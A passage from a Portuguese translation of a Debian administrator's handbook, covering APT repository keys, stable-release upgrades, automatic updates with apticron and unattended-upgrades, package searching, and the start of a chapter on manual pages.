Quando uma origem de pacotes de terceiros é adicionada ao arquivo sources.list, O apt precisa ser instruído a confiar na chave de autenticação GPG correspondente (caso contrário ele vai ficar reclamando que não pode garantir a autenticidade dos pacotes vindo daquele repositório). O primeiro passo, obviamente, é obter a chave pública. Em geral, a chave vai ser fornecida como um pequeno arquivo texto, que vamos chamar de key.asc nos seguintes exemplos.

Para adicionar a chave para o chaveiro confiável do APT, o administrador pode simplesmente colocá-la em um arquivo *.gpg em /etc/apt/trusted.gpg.d/ (arquivos *.asc são desencorajados e podem causar problemas). Isto é suportado desde o Debian Stretch. Com lançamentos anteriores, você tinha que rodar apt-key add < key.asc, que já é considerado obsoleto.

Ainda que isto é um comportamento muito comum, também cria um possível problema. APT não sabe que chave pertence a que repositório. Se uma das chaves de APT coincide com a assinatura de um arquivo, APT considera o arquivo como autenticado. Uma vez que se acrescentou uma chave ao depósito de chaves de confiança, um atacante malicioso poderia realmente proporcionar sua própria "versão" de um espelho Debian assinado pela mesma chave. Poderia ser melhor pôr a chave como arquivo *.gpg em /usr/share/keyrings/ e usar o campo Signed-By em sources.list para repositórios de terceiros como se mostra no exemplo seguinte.

Imagina, que o Falcot Corp. dirige seu próprio repositório público e queres usá-lo. Assinaram-no e proporcionam uma chave(ring) disponível publicamente também para descarregar. Para restringir a chave do repositório, simplesmente podes fazer isto:

$ sudo wget -O falcot-keyring.gpg -P /usr/share/keyrings https://packages.falcot.com/debian/repository.gpg

deb [ signed-by=/usr/share/keyrings/falcot-keyring.gpg ] https://packages.falcot.com/debian bullseye main

Tenha cuidado que ao acrescentar e utilizar repositórios de terceiros sempre propõe um risco de segurança e estabilidade!

Uma vez que as chaves apropriadas estiverem no chaveiro, o APT vai verificar as assinaturas antes de operações arriscadas, e as interfaces vão exibir um aviso se tiverem que instalar um pacote cuja autenticidade não puder ser verificada.

Recorde que os pacotes binários geralmente não estão assinados. A integridade de um pacote só se pode confirmar comprovando sua soma de verificação contra uma fonte de verificação de confiança (e possivelmente assinada).

CASO ESPECÍFICO Repositórios não assinados

Enquanto em geral não se devem utilizar repositórios não assinados, alguns usuários ainda poderiam os requerer, por exemplo para proporcionar alguns pacotes construídos localmente. Pode-se obrigar a APT a aceitar tal repositório antepondo a URL do repositório usando allow-insecure=yes ou trusted=yes. Demonstrá-lo-emos usando o exemplo de Seção 15.3, “Criando um Repositório de Pacotes para o APT”:

deb [ trusted=yes ] http://packages.falcot.com/ updates/ deb [ trusted=yes ] http://packages.falcot.com/ internal/

6.7. Atualizando de uma Versão Estável para a Próxima

Uma das funcionalidades mais conhecidas do Debian é sua habilidade de atualizar um sistema instalado de uma versão estável para a próxima: dist-upgrade — um termo bem conhecido — tem contribuído amplamente para a reputação do projeto. Com algumas poucas precauções, atualizar um computador pode levar alguns minutos, ou algumas dezenas de minutos, dependendo da velocidade de download do repositório de pacotes.

6.7.1. Procedimento Recomendado

Como o Debian tem bastante tempo para evoluir entre lançamentos da versão estável, você deve ler as notas de lançamento ("release notes") antes de atualizar.

DE VOLTA AO BÁSICO Notas de lançamento

As notas de lançamento para um sistema operacional (e, mais geralmente, para qualquer software) são um documento que dá uma visão geral do software, com alguns detalhes a respeito das particularidades de uma determinada versão. Estes documentos são em geral curtos se comparados com a documentação completa, e eles normalmente listam as funcionalidades que foram incluídas da versão anterior para a atual. Eles também dão detalhes dos procedimentos de atualização, alertas para os usuários da versão anterior e algumas erratas.

As notas de lançamento do Debian estão disponíveis online: as notas de lançamento para a versão atual da estável tem uma URL dedicada, enquanto notas de lançamento mais antigas podem ser encontradas com seus codinomes:

→ https://www.debian.org/releases/stable/releasenotes

→ https://www.debian.org/releases/buster/releasenotes

Nesta seção, vamos focar em atualizar um sistema de Buster para Bullseye. Esta é uma operação importante num sistema; e como tal, nunca é 100% segura, e só deve ser tentada depois que todos os dados tenham sido protegidos num backup.

Outro hábito que mantém a atualização mais fácil (e rápida) é organizar a quantidade de pacotes instalados e manter apenas aqueles que são realmente necessários. Ferramentas úteis para isto incluem aptitude, deborphan, debfoster e apt-show-versions (veja Seção 6.2.7, “Rastreando Pacotes Instalados Automaticamente”). Por exemplo, você pode usar o seguinte comando: e, em seguida, usar o modo interativo do aptitude para checar e ajustar as remoções programadas:

# deborphan | xargs aptitude --schedule-only remove

DICA Encontrando arquivos alterados

O comando debsums pode verificar se arquivos no sistema de arquivos local, que são parte de um pacote instalado, foram alterados. Ele usa um algoritmo de hashsum simples e a informação em /var/lib/dpkg/info/pacote.md5sums (veja em Seção 5.2.3, “Checksums, Lista de arquivos de configuração, e outros.”). Para encontrar todos os arquivos de configuração alterados use debsums -ec. Para verificar o sistema todo, use debsums -c.

Agora para a atualização em si. Primeiro, você precisa mudar o arquivo /etc/apt/sources.list para dizer ao APT para obter os pacotes da Bullseye ao invés da Buster. Se o arquivo apenas contém referências à Stable ao invés de codinomes explícitos, esta mudança não é necessária, já que o nome Stable sempre se refere à última versão lançada do Debian. Em ambos os casos, o banco de dados de pacotes disponíveis deve ser atualizado com o comando apt update ou o botão recarregar no synaptic (Seção 6.2.1, “Inicialização”)..

NOTA Mudanças de informação do repositório

Quando uma nova versão estável do Debian é lançada, alguns campos nos arquivos Release e InRelease de uma mudança de repositório, como o campo Suite. Quando isto acontece, baixar dados do repositório é negado até que a mudança seja confirmada para garantir que o usuário esteja preparado para ela. Para confirmar a mudança use as opções --allow-releaseinfo-change ou --allow-releaseinfo-change-campo para o apt-get ou a opção de configuração Acquire::AllowReleaseInfoChange.

Uma vez que estas novas fontes de pacotes forem cadastradas, você deve primeiro fazer uma atualização mínima com apt upgrade e outros, como descrito em Seção 6.2.3, “Atualização do sistema”. Ao fazer a atualização em duas etapas, nos facilita o trabalho das ferramentas de gerenciamento de pacotes e muitas vezes garante que temos as versões mais recentes das pessoas, o que pode ter acumulado correções de bugs e melhorias necessárias para concluir a atualização completa da distribuição.

Uma vez que esta primeira atualização é realizada, é hora de lidar com a própria atualização, seja com o apt full-upgrade, aptitude, ou synaptic (Seção 6.7, “Atualizando de uma Versão Estável para a Próxima”). Você deve cuidadosamente verificar as ações sugeridas antes de aplicá-las: você pode querer adicionar os pacotes sugeridos ou desmarcar pacotes que são apenas recomendados e que você sabia que não serão úteis. De qualquer forma, a interface deve terminar com um cenário de um sistema Bullseye coerente e atualizado. Então, tudo o que você tem a fazer é esperar que os pacotes necessários sejam baixados, responder as perguntas do debconf e possivelmente as perguntas relativas a arquivos de configuração localmente modificados, e sentar e esperar que o APT faça sua mágica.

6.7.2. Lidando com Problemas após uma Atualização

Apesar dos esforços dos mantenedores Debian, uma atualização geral do sistema não é sempre tão suave quando você gostaria. Novas versões de software podem ser incompatíveis com versões anteriores (por exemplo, seu comportamento padrão ou seu formato de dados pode ter mudado). Além disso, alguns bugs podem passam despercebidos apesar da fase de testes pela qual o lançamento do Debian sempre passa.

Para antecipar alguns destes problemas, você pode instalar o pacote apt-listchanges, que mostra informações sobre possíveis problemas no início de uma atualização de pacotes. Esta informação é compilada pelos mantenedores de pacote e colocada em arquivos /usr/share/doc/package/NEWS.Debian para os usuários usarem. A leitura destes arquivos (possivelmente através do apt-listchanges) pode evitar surpresas desagradáveis.

Ás vezes você descobre que uma nova versão de um software não funciona de jeito nenhum. Isto geralmente acontece se a aplicação não é muito popular e não foi testada o suficiente; uma atualização que acabou de acontecer também pode introduzir regressões que são encontradas apenas no lançamento estável ("stable"). Em ambos os casos, a primeira coisa a fazer é olhar o sistema de rastreamento de bugs em https://bugs.debian.org/pacote, e verificar se o problema já foi relatado. Se este for o caso, ele também vai ser listado antes que a atualização comece, se você tiver o apt-listbugs instalado. Se não tiver sido, você mesmo pode relatá-lo com o reportbug. Se ele já é conhecido, o bug report e as mensagens associadas a ele normalmente são uma excelente fonte de informações relativas ao bug:

algumas vezes um patch já existe, e está disponível no bug report; você pode recompilar uma versão consertada de um pacote quebrado localmente (see Seção 15.1, “Reconstruindo um Pacote a partir de suas Fontes”);

Em outros casos, os usuários podem encontrar uma gambiarra para o problema e compartilhar suas ideias nas respostas do bug report;

em outros casos, um pacote consertado já pode ter sido preparado e publicado pelo mantenedor.

Dependendo da severidade do bug, uma nova versão do pacote pode ser preparada especificamente para uma nova revisão do lançamento estável. Quando isto acontece, o pacote consertado é disponibilizado na seção proposed-updates dos espelhos Debian (veja Seção 6.1.2.3, “Atualizações Propostas”). A entrada correspondente pode então ser adicionada temporariamente ao arquivo sources.list, e pacotes atualizados podem ser instalados com apt ou aptitude.

Por vezes, o pacote consertado não fica disponível nesta seção por faltar a validação de alguma pendência dos Stable Release Managers. Você pode verificar se este é o caso na página deles. Pacotes listados lá ainda não foram disponibilizados, mas pelo menos você saberá que o processo de publicação está andando.

→ https://release.debian.org/proposed-updates/stable.html

6.7.3. Fazendo uma limpeza após uma atualização

O APT normalmente garante um upgrade limpo, puxando as dependências novas e atualizadas, ou removendo pacotes conflitantes. Mas mesmo sendo esta excelente ferramenta, ele não pode cobrir todas as tarefas que os usuários e administradores podem encontrar num upgrade, por que elas precisam de decisões humanas.

6.7.3.1. Pacotes removidos do Arquivamento Debian

Às vezes os "Debian FTP Masters" removem pacotes do Debian archive, porque eles contém bugs críticos para lançamento, que foram abandonados pelo autor principal ou pelo mantenedor de pacotes, ou simplesmente chegaram ao fim de vida. Neste caso, um novo lançamento do Debian não trás mais tal pacote. Para encontrar todos os pacotes, que não tem um pacote fonte, use o comando apt-show-versions:

$ apt-show-versions | grep "No available version"

Um resultado similar pode ser alcançado pelo aptitude search ~o. Se os pacotes encontrados não são mais necessários, eles podem ser expurgados do sistema, pois não mais terão atualizações para bugs críticos ou de segurança.

6.7.3.2. Pacotes "Dummy" e de transição

Algumas vezes, pode ser necessário para um pacote ter um novo nome. Neste caso, normalmente o pacote antigo é mantido como um pacote (quase) vazio, com uma dependência com o novo e instalando apenas os arquivos obrigatórios em /usr/share/doc/pacote/. Tais pacotes são chamados "dummy" ("vazios") ou "transitional" ("de transição"). Se o mantenedor do pacote também mudar a seção deste pacote para oldlibs, então ferramentas como aptitude, deboprhan, ou debfoster (veja a barra lateral ALTERNATIVA deborphan e debfoster) podem selecionar estes pacotes para sugerir suas remoções.

Infelizmente não existe atualmente uma forma livre de falhas de garantir que estes pacotes sejam automaticamente removidos ou pegos pelas ferramentas mencionadas acima. Uma forma de verificar se o sistema ainda tem alguns destes pacotes instalados é olhar através das descrições de pacotes dos pacotes instalados e então verificar os resultados. Seja cuidadoso para não agendar os resultados para remoção automática, pois este método pode levar a falsos positivos:

$ dpkg -l | grep ^ii | grep -i -E "(transition|dummy)"

Como o novo pacote é trazido como uma dependência do pacote de transição, ele é normalmente marcado como instalado automaticamente e deve ser agendado para remoção se você tentar expurgar (purge) o pacote de transição de seu sistema. Neste caso, você pode usar qualquer uma das abordagens descritas na barra lateral DICA Removendo e instalando ao mesmo tempo eSeção 6.2.7, “Rastreando Pacotes Instalados Automaticamente” para remover seletivamente o pacote de transição.

6.7.3.3. Arquivos de configuração velhos ou sem uso

Se o upgrade for bem-sucedido pode haver algum lixo em arquivos de configuração, tanto do dpkg (veja Seção 5.2.3, “Checksums, Lista de arquivos de configuração, e outros.”), ucf ou de pacotes removidos. Neste último caso pode ter sido expurgado pelo uso do apt autoremove --purge. Os arquivos de configuração que foram manipulados pelo dpkg ou ucf durante o upgrade deixaram alguns arquivos auxiliares com um sufixo dedicado(e.g. .dpkg-dist, .dpkg-old, .ucf-old). Usar os comandos find ou locate pode ajudar a rastreá-los. Se eles não tem mais utilidade, podem ser eliminados.

6.7.3.4. Arquivos que não são de nenhum pacote

A política Debian reforça que pacotes não deixam arquivos para trás quando expurgados. Violar este princípio é um bug sério e você raramente vai encontrar isto. Se encontrar, favor reportar. E se você for curioso, você pode usar os pacotes cruft ou cruft-ng para verificar seu sistema em busca de arquivos que nenhum pacote possui.

6.8. Mantendo um Sistema Atualizado

A distribuição Debian é dinâmica e muda continuamente. A maioria das mudanças ficam nas versões Testing e Unstable, mas mesmo a Stable é atualizada de tempos em tempos, geralmente por algo relativo a segurança. Qualquer que seja a versão do Debian que o sistema rodar, é geralmente uma boa ideia mantê-la atualizada, de forma que você possa se beneficiar das recentes evoluções e consertos de bug.

Mesmo que seja obviamente possível executar periodicamente uma ferramenta para verificar por atualizações disponíveis e executar as atualizações, tal tarefa repetitiva é tediosa, especialmente quando for feita em várias máquinas. Felizmente, assim como muitas tarefas repetitivas, ela pode ser parcialmente automatizada, e um conjunto de ferramentas já foi desenvolvido para isto.

A primeira destas ferramentas é a apticron, no pacote de mesmo nome. Seu principal efeito é executar um script diariamente (via cron). O script atualiza a lista de pacotes disponíveis, e, se alguns pacotes instalados não estão na versão mais recente, ele envia um email com uma lista destes pacotes e com as mudanças que foram feitas nas novas versões. Obviamente, este pacote foca principalmente em usuários do Debian Stable, já que os emails diários podem ser muito longos para versões de ritmo mais rápido do Debian. Quando atualizações são disponibilizadas, o apticron automaticamente baixa elas. Mas não as instala — o administrador ainda tem que fazer isto — mas ter os pacotes já baixados e disponíveis localmente (no cache do APT) torna o serviço mais rápido.

Administradores responsáveis por vários computadores com certeza vão apreciar ser informados de atualizações pendentes, mas as atualizações em si ainda são tediosas como sempre. Atualizações periódicas podem ser habilitadas: elas usam uma unit de temporizador do systemd ou o cron. Se o systemd não está instalado, o script /etc/cron.daily/apt-compat (no pacote apt) se torna útil. Este script é executado diariamente (e não-interativamente) pelo cron. Para controlar seu comportamento, use variáveis de configuração do APT (que devem ser postas num arquivo em /etc/apt/apt.conf.d/10periodic). As principais variáveis são:

APT::Periodic::Update-Package-Lists

Esta opção especifica a frequência (em dias) na qual a lista de pacotes é atualizada. Usuários do apticron podem seguir sem esta variável, já que o apticron já faz esta tarefa.

APT::Periodic::Download-Upgradeable-Packages

De novo, esta opção indica uma frequência (em dias), agora para o download dos pacotes em si. Novamente, os usuários do apticron não precisam disto.

APT::Periodic::AutocleanInterval

Esta opção cobre uma funcionalidade que o apticron não tem. Ela controla quão frequentemente pacotes obsoletos (aqueles não referenciados por mais nenhuma distribuição) são removidos do cache do APT. Isto mantém o cache do APT num tamanho razoável e evita que você tenha que se preocupar com esta tarefa.

APT::Periodic::Unattended-Upgrade

Quando esta opção está ativada, o script será executado diariamente unattended-upgrade (do pacote unattended-upgrades) que - como o próprio nome sugere - pode automatizar o processo de atualização de alguns pacotes (por padrão, ele só cuida de atualizações de segurança, mas isso pode ser personalizado em /etc/apt/apt.conf.d/50unattended-upgrades). Observe que esta opção pode ser definida com a ajuda de debconf executando dpkg-reconfigure -plow unattended-upgrades. Se o apt-listbugs estiver instalado, ele vai evitar uma atualização automática de pacotes que estejam afetados por um bug sério ou grave já reportado.

Outras opções podem deixar você controlar o comportamento de limpeza de cache com mais precisão. Elas não são listadas aqui, mas são descritas no script /usr/lib/apt/apt.systemd.daily.

Estas ferramentas funcionam muito bem em servidores, mas usuários de desktop normalmente preferem um sistema mais interativo. O pacote gnome-software fornece um ícone na área de notificação de ambientes de trabalho quando houver atualizações disponíveis; clicar neste ícone, então, executa uma interface para realizar atualizações. Você pode navegar através das atualizações disponíveis, ler a breve descrição dos pacotes relevantes e as correspondentes entradas changelog, e optar por aplicar a atualização ou não caso a caso.

Figura 6.3. Atualizando com gpk-update-viewer

Esta ferramenta não é mais instalada junto com a área de trabalho GNOME. A nova filosofia é que atualizações de segurança devem ser instaladas automaticamente, tanto no background ou, preferencialmente, quando você desligar seu computador para não confundir qualquer aplicação rodando.

6.9. Atualizações Automáticas

Como a Falcot Corp tem muitos computadores mas pouca mão de obra, seus administradores tentam tornar as atualizações o mais automáticas possível. Os programas encarregados destes processos devem portanto rodar sem intervenção humana.

6.9.1. Configurando dpkg

Como já mencionamos (veja a barra lateral INDO ALÉM Evitando as perguntas do arquivo de configuração), o dpkg pode ser instruído a não pedir confirmação quando for substituir um arquivo de configuração (com as opções --force-confdef --force-confold). Interações podem, entretanto, vir de outras origens: algumas vêm do próprio APT, algumas são manipuladas pelo debconf e algumas acontecem na linha de comando devido a scripts de configuração do pacote (algumas vezes gerenciados pelo ucf).

6.9.2. Configurando APT

No caso do APT é simples: a opção -y (ou --assume-yes) diz ao APT para considerar a resposta a todas as perguntas como sendo “sim”.

6.9.3. Configurando debconf

o caso do debconf merece mais detalhes. Este programa foi, desde sua concepção, projetado para controlar a relevância e a quantidade das perguntas mostradas ao usuário, assim como a forma como são exibidas. É por isto que sua configuração requer uma prioridade mínima para perguntas; apenas perguntas acima da prioridade mínima são exibidas. O debconf supõe a resposta padrão (definida pelo mantenedor do pacote) para perguntas que ele decidiu pular.

O outro elemento de configuração relevante é a interface usada pelo front-end. Se você escolher noninteractive, toda interface de usuário será desabilitada. Se um pacote tenta exibir uma nota informativa, ele vai ser enviado ao administrador via email.

Para reconfigurar o debconf, use a ferramenta dpkg-reconfigure do pacote debconf; o comando relevante é o dpkg-reconfigure debconf. Note que os valores configurados podem ser temporariamente sobrescritos com variáveis de ambiente quando necessário (por exemplo, DEBIAN_FRONTEND controla a interface, como documentado na página de manual debconf(7)).

6.9.4. Lidando com Interações Via Linha de Comando

A última fonte de interações, e a mais difícil de esconder, são os scripts de configuração executados pelo dpkg. infelizmente não existe solução padrão, e nenhuma resposta é substancialmente melhor que outra.

A abordagem normal é suprimir a entrada padrão redirecionando o conteúdo vazio de /dev/null nela com comando </dev/null, ou alimentá-la com um fluxo infinito de newlines. Nenhum destes métodos é 100% confiável, mas eles em geral levam a respostas padrão sendo preenchidas, uma vez que a maioria dos scripts consideram a ausência de resposta como uma aceitação do valor padrão.

6.9.5. A Combinação Miraculosa

Combinando os elementos anteriores, é possível projetar um scrips pequeno mas muito confiável que possa manipular atualizações automáticas.

Exemplo 6.5. Roteiro de atualização não interativa

export DEBIAN_FRONTEND=noninteractive yes '' | apt-get -y -o Dpkg::Options::="--force-confdef" -o Dpkg::Options::="--force-confold" dist-upgrade

NÁ PRÁTICA O caso Falcot Corp

Os computadores da Falcot formam um sistema heterogêneo, com máquinas tendo muitas funções. Os administradores vão portanto pegar a solução mais relevante para cada computador.

Na prática, os servidores rodando Bullseye são configurados com a “combinação milagrosa” acima, e são mantidos atualizados automaticamente. Apenas os servidores mais críticos (firewalls, por exemplo) são configurados com apticron, de forma que atualizações sempre aconteçam sob a supervisão de um administrador.

As estações de escritório para serviços administrativos também rodam Bullseye, mas elas estão equipadas com gnome-packagekit, para que os usuários iniciem as próprias atualizações. A razão para esta decisão é que se atualizações acontecem sem alguém disparar, o comportamento do computador pode mudar inesperadamente, o que pode gerar confusão nos principais usuários.

No laboratório, os poucos computadores que usam Testing — para usufruir das últimas atualizações de software — também não são atualizados automaticamente. Os administradores configuraram o APT apenas para preparar as atualizações mas não para as ativarem; quando eles decidem atualizar (manualmente), a parte chata de renovar a lista de pacotes e baixar os pacotes é evitada, e os administradores podem focar na parte realmente útil.

6.10. Buscando por Pacotes

Com a grande e crescente quantidade de software no Debian, surge um paradoxo: o Debian normalmente tem uma ferramenta para a maioria das tarefas, mas pode ser muito difícil de achá-la na multidão de outros pacotes. A ausência de formas apropriadas de buscar (e encontrar) a ferramenta certa é um problema de longa data. Felizmente, este problema foi quase completamente resolvido.

A busca mais trivial possível é procurar pelo nome exato de um pacote. Se apt show pacote retorna um resultado, então o pacote existe. Infelizmente, para isto é necessário saber ou chutar o nome do pacote, o que nem sempre é possível.

DICA Convenções de nomes de pacote

Algumas categorias de pacotes são batizados de acordo com um esquema de nomenclatura convencional; saber o esquema às vezes ajuda a adivinhar o nome exato dos pacotes. Por exemplo, para módulos Perl, a convenção diz que um módulo chamado XML::Handler::Composer no desenvolvimento principal deve ser empacotado como libxml-handler-composer-perl. A biblioteca que habilita o uso do sistema gconf pelo Python é empacotada como python-gconf. Infelizmente não é possível definir um esquema de nomenclatura totalmente geral para todos os pacotes, mesmo que os mantenedores normalmente tentem seguir a escolha dos desenvolvedores principais.

Um padrão de busca um pouco mais bem-sucedido é uma busca simples e nomes de pacotes, mas isto ainda é bem limitado. Você pode geralmente encontrar resultados buscando nas descrições de pacotes: como cada pacote tem uma descrição mais ou menos detalhada além do nome do pacote, uma busca por palavra-chave nestas descrições frequentemente será útil. apt-cache e axi-cache são as ferramentas para este tipo de busca (veja em ALTERNATIVE axi-cache); por exemplo, apt-cache search video retornará uma lista de todos os pacotes que tenham a palavra-chave "video" no nome ou na descrição.

Para buscas mais complexas, uma ferramenta mais poderosa como o aptitude é necessária. aptitude pode fazer uma busca de acordo com expressões lógicas baseadas em campos de metadados dos pacotes. Por exemplo, o seguinte comando busca por pacotes cujo nome contenha kino, cuja descrição contenha video e cujo nome do mantenedor contenha paul:

$ aptitude search kino~dvideo~mpaul p kino - Non-linear editor for Digital Video data $ aptitude show kino Package: kino Version: 1.3.4+dfsg0-1.1 State: not installed Priority: optional Section: video Maintainer: Paul Brossier <piem@debian.org> Architecture: amd64 Uncompressed Size: 8,316 k Depends: libasound2 (>= 1.0.16), libavc1394-0 (>= 0.5.3), libavcodec58 (>= 7:4.2), libavformat58 (>= 7:4.2), libavutil56 (>= 7:4.0), libc6 (>= 2.29), libdv4 (>= 1.0.0), libgcc-s1 (>= 3.0), libgdk-pixbuf-2.0-0 (>= 2.22.0), libglade2-0 (>= 1:2.6.4-2~), libglib2.0-0 (>= 2.12.0), libgtk2.0-0 (>= 2.24.0), libiec61883-0 (>= 1.2.0), libpango-1.0-0 (>= 1.14.0), libpangoft2-1.0-0 (>= 1.14.0), libquicktime2 (>= 2:1.2.2), libraw1394-11 (>= 2.1.2), libsamplerate0 (>= 0.1.7), libstdc++6 (>= 9), libswscale5 (>= 7:4.0), libx11-6, libxext6, libxml2 (>= 2.7.4), libxv1 Recommends: ffmpeg, curl Suggests: udev | hotplug, vorbis-tools, sox, mjpegtools, lame, ffmpeg2theora Conflicts: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386, kino:i386 Replaces: kino-dvtitler, kino-timfx, kinoplus, kino-dvtitler:i386, kino-timfx:i386, kinoplus:i386 Provides: kino-dvtitler, kino-timfx, kinoplus Description: Non-linear editor for Digital Video data Kino allows you to record, create, edit, and play movies recorded with DV camcorders. This program uses many keyboard commands for fast navigating and editing inside the movie. The kino-timfx, kino-dvtitler and kinoplus sets of plugins, formerly distributed as separate packages, are now provided with Kino. Homepage: http://www.kinodv.org/ Tags: field::arts, hardware::camera, implemented-in::c, implemented-in::c++, interface::graphical, interface::x11, role::program, scope::application, suite::gnome, uitoolkit::gtk, use::editing, use::learning, works-with::video, x11::application

A busca retorna apenas um pacote, kino, que satisfaz os três critérios.

Mesmo estas buscas multi-critério são bastante "desajeitadas", o que explica por que elas não são usadas tanto quanto poderiam. Um novo sistema de etiquetas foi portanto desenvolvido, e fornece uma nova abordagem de busca. Pacotes recebem etiquetas que fornecem classificação temática através de vários pontos de vista, conhecidos como uma "classificação baseada em facetas" ("facet-based classification"). No caso do kino acima, as etiquetas do pacote indicam que o Kino é um software baseado em gnome que trabalha com dados de vídeo e tem como função principal edição.

Navegar nesta classificação pode ajudar você a buscar um pacote que corresponda a necessidades conhecidas; mesmo se ela retornar uma quantidade (moderada) de resultados, o restante da busca pode ser feita manualmente. Para fazer isto, você pode usar o padrão de busca ~G no aptitude, mas é provavelmente mais fácil simplesmente navegar no site onde as etiquetas são geridas ou usar o comando debtags:

→ https://debtags.debian.org/

$ debtags search "works-with::video && use::editing"

Selecionando as marcas works-with::video e use::editing produz um punhado de pacotes, incluindo o editor de vídeo kino e pitivi. Este sistema de classificação é obrigado a ser usado cada vez mais enquanto o tempo passa, e gerenciadores de pacotes irão gradualmente fornecer interfaces de busca eficientes baseados nele.

Para sumarizar, a melhor ferramenta para o trabalho depende da complexidade da busca que você deseja fazer:

Com o apt-cache só se pode fazer busca em nomes e descrições de pacotes, que é bastante conveniente quando se busca por um pacote em particular que casa com algumas palavras-chave;

Quando o critério de busca também inclui relações entre pacotes ou outros meta-pacotes como o nome do mantenedor, o synaptic será mais útil;

Quando uma busca por etiquetas é necessária, uma boa ferramenta é o packagesearch, uma interface gráfica dedicada a buscar pacotes disponíveis através de vários critérios (inclusive os nomes dos arquivos que eles contém) Para o uso na linha de comando, axi-cache irá ajustar a conta.

finalmente, quando a busca envolve expressões complexas com operações lógicas, a melhor ferramenta é a sintaxe de padrões de busca do aptitude, que é bastante poderosa apesar de um pouco obscura; e funciona tanto no modo de linha de comando quanto no modo interativo.

Capítulo 7. Resolvendo Problemas e Encontrando Informações Relevantes

Para um administrador, a habilidade mais importante é ser capaz de lidar com qualquer situação, conhecida ou desconhecida. Este capítulo apresenta uma série de métodos que - esperamos - permitam isolar a causa de qualquer problema que você vai encontrar, de modo que você pode ser capaz de resolvê-los.

7.1. Fontes de documentação

Antes que você possa entender o que está realmente acontecendo quando há um problema, você precisa conhecer o papel teórico desempenhado por cada programa envolvido no problema. Para fazer isso, a melhor coisa a fazer é consultar a documentação; mas uma vez que estes documentos são muitos e dispersos, você deve conhecer todos os lugares onde podem ser encontrados.

7.1.1. Páginas do Manual

CULTURA RTFM

Esta sigla significa "Read the F**king Manual" - "Leia a P*rra do Manual", mas também pode ser expandida em uma variante mais amigável, "Read the Fine Manual" - "Leia o Excelente Manual". Esta frase é usada às vezes como uma resposta (resumida) para perguntas dos novatos. É um pouco abrupta, e denuncia um certo incômodo em uma pergunta feita por alguém que nem sequer se preocupou em ler a documentação. Alguns dizem que esta resposta clássica é melhor do que nenhuma resposta (já que indica que a documentação contém as informações solicitadas), ou do que uma resposta mais longa e agressiva.

Em qualquer caso, se alguém responde "RTFM" para você, muitas vezes é sábio não se ofender. Uma vez que esta resposta pode ser percebida como irritante, você pode querer tentar evitar recebê-la. Se a informação que você precisa não está no manual, o que pode acontecer, você pode dizer isto, de preferência na sua pergunta inicial. Você também deve descrever as várias etapas que você pessoalmente realizou para encontrar informações antes de você levantar uma questão em um fórum. Seguir as orientações de Eric Raymond é uma boa maneira de evitar os erros mais comuns e obter respostas úteis.

→ http://catb.org/~esr/faqs/smart-questions.html

(em inglês)

Páginas de manual, apesar de relativamente concisas em estilo, contêm uma grande quantidade de informações essenciais. Vamos rapidamente passar pelo comando para visualizá-las, fornecido pelo pacote man-db. Basta digitar man página-do-manual - a página do manual normalmente atende pelo mesmo nome que o comando cuja documentação é solicitada. Por exemplo, para aprender sobre as opções possíveis para o comando cp, você deve digitar man cp no prompt do shell (veja barra lateral DE VOLTA AO BÁSICO O shell, um interpretador de linha de comando).

DE VOLTA AO BÁSICO O shell, um interpretador de linha de comando

Um interpretador de linha de comando, também chamado de "shell", é um programa que executa comandos que são ou inseridos pelo usuário ou armazenados em um script. No modo interativo, ele exibe um prompt (geralmente terminando em $ para um usuário normal, ou por # para um administrador) indicando que ele está pronto para ler um novo comando. Apêndice B, Curso Rápido de Reparação descreve os fundamentos para usar o shell.

O shell padrão e mais comumente usado é o bash (Bourne Again SHell), mas existem outros, incluindo dash, csh, tcsh e zsh.

Entre outras coisas, a maioria dos shells oferecem ajuda (digite help) e auxílio no prompt durante a entrada, tais como a completação de nomes de comandos ou arquivos (que você ativa apertando geralmente a tecla tab), ou recordando comandos anteriores (gestão de histórico: i.e. verifique os mapeamentos para "page up" e "page down" em /etc/inputrc).

Páginas de manual não apenas documentam comandos e programas acessíveis a partir da linha de comando, mas também arquivos de configuração, chamadas de sistema, funções de biblioteca, e assim por diante. Às vezes os nomes podem colidir. Por exemplo, o comando read do shell tem o mesmo nome que a chamada de sistema read. É por isso que as páginas de manual são organizadas em seções numeradas:

1

comandos que podem ser executados da linha de comando;

2

chamadas de sistema (funções disponibilizadas pelo kernel);

3

funções da biblioteca (fornecidas pelas bibliotecas do sistema);

4

dispositivos (em sistemas similares ao Unix, estes são arquivos especiais, geralmente colocados no diretório /dev/);

5

arquivos de configuração (formatos e convenções);

6

jogos;

7

conjunto de macros e padrões;

8

comandos de administração do sistema;

9

rotinas do núcleo.

É possível especificar a seção da página do manual que você está procurando: para ver a documentação para o chamada de sistema read, você deve digitar man 2 read. Quando a seção não é especificada explicitamente, a primeira seção que tiver uma página de manual com o nome solicitado será mostrada. Assim, man shadow retorna shadow(5) porque não há páginas de manual para shadow nas seções de 1 a 4.

DICA whatis

Se você não quer ler a página de manual completa, mas apenas uma descrição breve para confirmar que é o que você está procurando, basta digitar whatis comando.

$ whatis scp scp (1) - OpenSSH cópia segura do ficheiro

Esta pequena descrição está incluída na seção NOME no início de todas as páginas de manual.

obviamente que se você não sabe os nomes dos comandos, o manual não vai ser de muita utilidade para você. Este é o propósito do comando apropos, o que ajuda você a realizar uma busca nas páginas de manual, ou mais especificamente em suas descrições curtas. Cada página do manual começa essencialmente com um resumo de uma linha. apropos retorna uma lista de páginas de manual que mencionam a(s) palavra(s)-chave solicitada(s). Se você escolher bem, você encontrará o nome do comando que você precisa.

Exemplo 7.1. Procurando cp com apropos

$ apropos "copiar arquivo" cp (1) - copiar arquivo e diretórios cp (1posix) - copiar arquivos cpio (1) - copiar arquivos de e para arquivamentos exec (1posix) - executar comandos e abrir, fechar ou copiar descritores de arquivos install (1) - copiar arquivos e configurar atributos ntfscp (8) - copiar arquivo para um volume NTFS.

DICA Navegando através de links

Muitas páginas do manual têm uma seção "VEJA TAMBÉM", geralmente no final. Refere-se a outras páginas de manuais relevantes para comandos semelhantes, ou a documentação externa. Desta forma, é possível encontrar documentação relevante, mesmo quando a primeira escolha não é ótima.

O comando man não é o único meio de consulta às páginas do manual, já que os programas khelpcenter e konqueror (do KDE) e yelp (no GNOME) também oferecem essa possibilidade. Há também uma interface web, fornecida pelo pacote man2html, que permite visualizar páginas de manual em um navegador web. Em um computador onde esse pacote está instalado, use esta URL depois de seguir as instruções em /usr/share/doc/man2html/README.Debian:

